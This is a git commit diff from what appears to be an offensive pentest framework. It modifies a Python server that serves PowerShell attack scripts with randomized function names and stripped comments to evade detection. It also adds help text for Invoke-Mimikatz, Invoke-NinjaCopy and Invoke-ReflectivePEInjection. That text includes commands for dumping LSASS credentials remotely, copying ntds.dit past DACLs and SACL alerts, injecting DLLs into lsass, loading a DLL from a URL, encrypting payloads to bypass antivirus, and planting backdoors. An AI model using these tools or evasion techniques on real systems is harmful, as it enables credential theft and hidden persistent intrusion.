Re-added the synopsys sections in the PowerShell scripts

All comments and uneeded sections get dynamically removed when the
script is requested

Author: byt3bl33d3r

core/servers/mimikatz.py

@@ -11,6 +11,7 @@
 
 func_name = re.compile('CHANGE_ME_HERE')
 comments  = re.compile('#.+')
+synopsis  = re.compile('<#.+#>')
 
 class MimikatzServer(BaseHTTPRequestHandler):
 
@@ -23,8 +24,10 @@ def do_GET(self):
             self.end_headers()
             with open('hosted/'+ self.path[4:], 'rb') as script:
                 ps_script = script.read()
-                ps_script = func_name.sub(settings.args.obfs_func_name, ps_script)
-                ps_script = comments.sub('', ps_script)
+                ps_script = eval(synopsis.sub('', repr(ps_script))) #Removes the synopsys
+                ps_script = func_name.sub(settings.args.obfs_func_name, ps_script) #Randomizes the function name
+                ps_script = comments.sub('', ps_script) #Removes the comments
+                #logging.info('Sending the following modified powershell script: {}'.format(ps_script))
                 self.wfile.write(ps_script)
 
         elif settings.args.path:

hosted/Invoke-Mimikatz.ps1

@@ -1,5 +1,77 @@
 function Invoke-CHANGE_ME_HERE
 {
+<#
+.SYNOPSIS
+
+This script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflectively load Mimikatz completely in memory. This allows you to do things such as
+dump credentials without ever writing the mimikatz binary to disk. 
+The script has a ComputerName parameter which allows it to be executed against multiple computers.
+
+This script should be able to dump credentials from any version of Windows through Windows 8.1 that has PowerShell v2 or higher installed.
+
+Function: Invoke-Mimikatz
+Author: Joe Bialek, Twitter: @JosephBialek
+Mimikatz Author: Benjamin DELPY `gentilkiwi`. Blog: http://blog.gentilkiwi.com. Email: [email protected]. Twitter @gentilkiwi
+License:  http://creativecommons.org/licenses/by/3.0/fr/
+Required Dependencies: Mimikatz (included)
+Optional Dependencies: None
+Version: 1.5
+ReflectivePEInjection version: 1.1
+Mimikatz version: 2.0 alpha (2/16/2015)
+
+.DESCRIPTION
+
+Reflectively loads Mimikatz 2.0 in memory using PowerShell. Can be used to dump credentials without writing anything to disk. Can be used for any 
+functionality provided with Mimikatz.
+
+.PARAMETER DumpCreds
+
+Switch: Use mimikatz to dump credentials out of LSASS.
+
+.PARAMETER DumpCerts
+
+Switch: Use mimikatz to export all private certificates (even if they are marked non-exportable).
+
+.PARAMETER Command
+
+Supply mimikatz a custom command line. This works exactly the same as running the mimikatz executable like this: mimikatz "privilege::debug exit" as an example.
+
+.PARAMETER ComputerName
+
+Optional, an array of computernames to run the script on.
+	
+.EXAMPLE
+
+Execute mimikatz on the local computer to dump certificates.
+Invoke-Mimikatz -DumpCerts
+
+.EXAMPLE
+
+Execute mimikatz on two remote computers to dump credentials.
+Invoke-Mimikatz -DumpCreds -ComputerName @("computer1", "computer2")
+
+.EXAMPLE
+
+Execute mimikatz on a remote computer with the custom command "privilege::debug exit" which simply requests debug privilege and exits
+Invoke-Mimikatz -Command "privilege::debug exit" -ComputerName "computer1"
+
+.NOTES
+This script was created by combining the Invoke-ReflectivePEInjection script written by Joe Bialek and the Mimikatz code written by Benjamin DELPY
+Find Invoke-ReflectivePEInjection at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
+Find mimikatz at: http://blog.gentilkiwi.com
+
+.LINK
+
+Blog: http://clymb3r.wordpress.com/
+Benjamin DELPY blog: http://blog.gentilkiwi.com
+
+Github repo: https://github.com/clymb3r/PowerShell
+mimikatz Github repo: https://github.com/gentilkiwi/mimikatz
+
+Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
+Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
+
+#>
 
 [CmdletBinding(DefaultParameterSetName="DumpCreds")]
 Param(

hosted/Invoke-NinjaCopy.ps1

@@ -1,5 +1,97 @@
 function Invoke-CHANGE_ME_HERE
 {
+<#
+.SYNOPSIS
+
+This script can copy files off an NTFS volume by opening a read handle to the entire volume (such as c:) and parsing the NTFS structures. This requires you
+are an administrator of the server. This allows you to bypass the following protections:
+    1. Files which are opened by a process and cannot be opened by other processes, such as the NTDS.dit file or SYSTEM registry hives
+    2. SACL flag set on a file to alert when the file is opened (I'm not using a Win32 API to open the file, so Windows has no clue)
+    3. Bypass DACL's, such as a DACL which only allows SYSTEM to open a file
+
+If the LocalDestination param is specified, the file will be copied to the file path specified on the local server (the server the script is being run from).
+If the RemoteDestination param is specified, the file will be copied to the file path specified on the remote server.
+
+The script works by opening a read handle to the volume (which if logged, may stand out, but I don't think most people log this and other processes do it too).
+The script then uses NTFS parsing code written by cyb70289 and posted to CodePlex to parse the NTFS structures. Since the NTFS parsing code is written
+in C++, I have compiled the code to a DLL and load it reflective in to PowerShell using the Invoke-ReflectivePEInjection.ps1 script (see below for a link
+to the original script).
+
+Script: Invoke-NinjaCopy.ps1
+Author: Joe Bialek, Twitter: @JosephBialek
+Contributors: This script has a byte array hardcoded, which contains a DLL wich parses NTFS. This NTFS parsing code was written by cyb70289 <[email protected]>
+						See the following link: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib
+						The source code is also available with the distribution of this script.
+License: GPLv3 or later
+Required Dependencies: None
+Optional Dependencies: None
+Version: 1.1
+ReflectivePEInjection version: 1.1
+
+.DESCRIPTION
+
+Copies a file from an NTFS partitioned volume by reading the raw volume and parsing the NTFS structures. This bypasses file DACL's,
+read handle locks, and SACL's. You must be an administrator to run the script. This can be used to read SYSTEM files which are normally
+locked, such as the NTDS.dit file or registry hives.
+
+
+.PARAMETER Path
+
+The full path of the file to copy (example: c:\filedir\file.txt)
+
+.PARAMETER LocalDestination
+
+Optional, a file path to copy the file to on the local computer. If this isn't used, RemoteDestination must be specified.
+
+.PARAMETER RemoteDestination
+
+Optional, a file path to copy the file to on the remote computer. If this isn't used, LocalDestination must be specified.
+
+.PARAMETER BufferSize
+
+Optional, how many bytes to read at a time from the file. The default is 5MB.
+
+PowerShell will allocate a Byte[] equal to the size of this buffer, so setting this too high can cause PowerShell to use a LOT of RAM. It's
+your job to figure out what "too high" is for your situation.
+
+.PARAMETER ComputerName
+
+Optional, an array of computernames to run the script on.
+
+
+.EXAMPLE
+
+Read the file ntds.dit from a remote server and write it to c:\test\ntds.dit on the local server
+$NtdsBytes = Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -ComputerName "Server1" -LocalDestination "c:\test\ntds.dit"
+
+.EXAMPLE
+
+Read the file ntds.dit from a remote server and copy it to the temp directory on the remote server.
+Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -RemoteDestination "c:\windows\temp\ntds.dit" -ComputerName "Server1"
+
+.EXAMPLE
+
+Read the file ntds.dit from the local server and copy it to the temp directory on the local server.
+Invoke-NinjaCopy -Path "c:\windows\ntds\ntds.dit" -LocalDestination "c:\windows\temp\ntds.dit"
+
+
+.NOTES
+This script combines two programs. The first is Invoke-ReflectivePEInjection, links can be found below to the original source.
+This is a PowerShell script which can reflectively load EXE's/DLL's.
+
+The second program is NTFS parsing code written in C++ by cyb70289 <[email protected]> and posted to CodeProject. I have compiled this
+code as a DLL so it can be reflectively loaded by the PowerShell script. 
+The CodeProject code can be found here: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib
+
+.LINK
+
+Blog: http://clymb3r.wordpress.com/
+Github repo: https://github.com/clymb3r/PowerShell
+NTFS Parsing Code: http://www.codeproject.com/Articles/81456/An-NTFS-Parser-Lib
+
+Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
+
+#>
 
 [CmdletBinding()]
 Param(

hosted/Invoke-ReflectivePEInjection.ps1

@@ -1,5 +1,186 @@
 function Invoke-CHANGE_ME_HERE
 {
+<#
+.SYNOPSIS
+
+This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, 
+or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, 
+please lead the Notes section (GENERAL NOTES) for information on how to use them.
+
+
+1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.
+Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.
+
+This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,
+this will load and execute the DLL/EXE in to memory without writing any files to disk.
+
+
+2.) Reflectively load a DLL in to memory of a remote process.
+As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.
+
+This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output
+from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the 
+remote process. 
+
+
+While this script provides functionality to specify a file to load from disk a URL, or a byte array, these are more for demo purposes. The way I'd recommend using the script is to create a byte array
+containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will
+bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba
+blog linked below (thanks to whitey).
+
+PowerSploit Function: Invoke-ReflectivePEInjection
+Author: Joe Bialek, Twitter: @JosephBialek
+License: BSD 3-Clause
+Required Dependencies: None
+Optional Dependencies: None
+Version: 1.4
+
+.DESCRIPTION
+
+Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.
+
+.PARAMETER PEPath
+
+The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer.
+
+.PARAMETER PEUrl
+
+A URL containing a DLL/EXE to load and execute.
+
+.PARAMETER PEBytes
+
+A byte array containing a DLL/EXE to load and execute.
+
+.PARAMETER ComputerName
+
+Optional, an array of computernames to run the script on.
+
+.PARAMETER FuncReturnType
+
+Optional, the return type of the function being called in the DLL. Default: Void
+	Options: String, WString, Void. See notes for more information.
+	IMPORTANT: For DLLs being loaded remotely, only Void is supported.
+	
+.PARAMETER ExeArgs
+
+Optional, arguments to pass to the executable being reflectively loaded.
+	
+.PARAMETER ProcName
+
+Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
+
+.PARAMETER ProcId
+
+Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.
+
+.PARAMETER ForceASLR
+
+Optional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even
+    if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when
+    loading in to a remote process.
+	
+.EXAMPLE
+
+Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc().
+Note that the file name on the website can be any file extension.
+Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString
+
+.EXAMPLE
+
+Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().
+Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local
+
+.EXAMPLE
+
+Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print
+	the wchar_t* returned by WStringFunc() from all the computers.
+Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)
+
+.EXAMPLE
+
+Load DemoEXE and run it locally.
+Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4"
+
+.EXAMPLE
+
+Load DemoEXE and run it locally. Forces ASLR on for the EXE.
+Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" -ForceASLR
+
+.EXAMPLE
+
+Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.
+Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local
+
+.EXAMPLE
+
+Load a PE from a byte array.
+Invoke-ReflectivePEInjection -PEPath (Get-Content c:\DemoEXE.exe -Encoding Byte) -ExeArgs "Arg1 Arg2 Arg3 Arg4"
+
+.NOTES
+GENERAL NOTES:
+The script has 3 basic sets of functionality:
+1.) Reflectively load a DLL in to the PowerShell process
+	-Can return DLL output to user when run remotely or locally.
+	-Cleans up memory in the PS process once the DLL finishes executing.
+	-Great for running pentest tools on remote computers without triggering process monitoring alerts.
+	-By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.
+2.) Reflectively load an EXE in to the PowerShell process.
+	-Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally.
+	-Cleans up memory in the PS process once the DLL finishes executing.
+	-Great for running existing pentest tools which are EXE's without triggering process monitoring alerts.
+3.) Reflectively inject a DLL in to a remote process.
+	-Can NOT return DLL output to the user when run remotely OR locally.
+	-Does NOT clean up memory in the remote process if/when DLL finishes execution.
+	-Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.
+	-Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.
+
+
+
+DLL LOADING NOTES:
+
+PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.
+If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL
+return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell
+remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from
+applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting.
+
+For DLL Loading:
+Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE"
+I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return
+the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the
+returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows:
+wchar_t*   : FuncReturnType = WString
+char*      : FuncReturnType = String
+void       : Default, don't supply a FuncReturnType
+
+For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string
+using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns.
+
+The function name expected in the DLL for the prewritten FuncReturnType's is as follows:
+WString    : WStringFunc
+String     : StringFunc
+Void       : VoidFunc
+
+These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would
+be declared as follows:
+extern "C" __declspec( dllexport ) wchar_t* WStringFunc()
+
+
+If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify
+this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE".
+
+Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection
+
+.LINK
+
+Blog: http://clymb3r.wordpress.com/
+Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection
+
+Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/
+Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/
+Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/
+
+#>
 
 [CmdletBinding(DefaultParameterSetName="WebFile")]
 Param(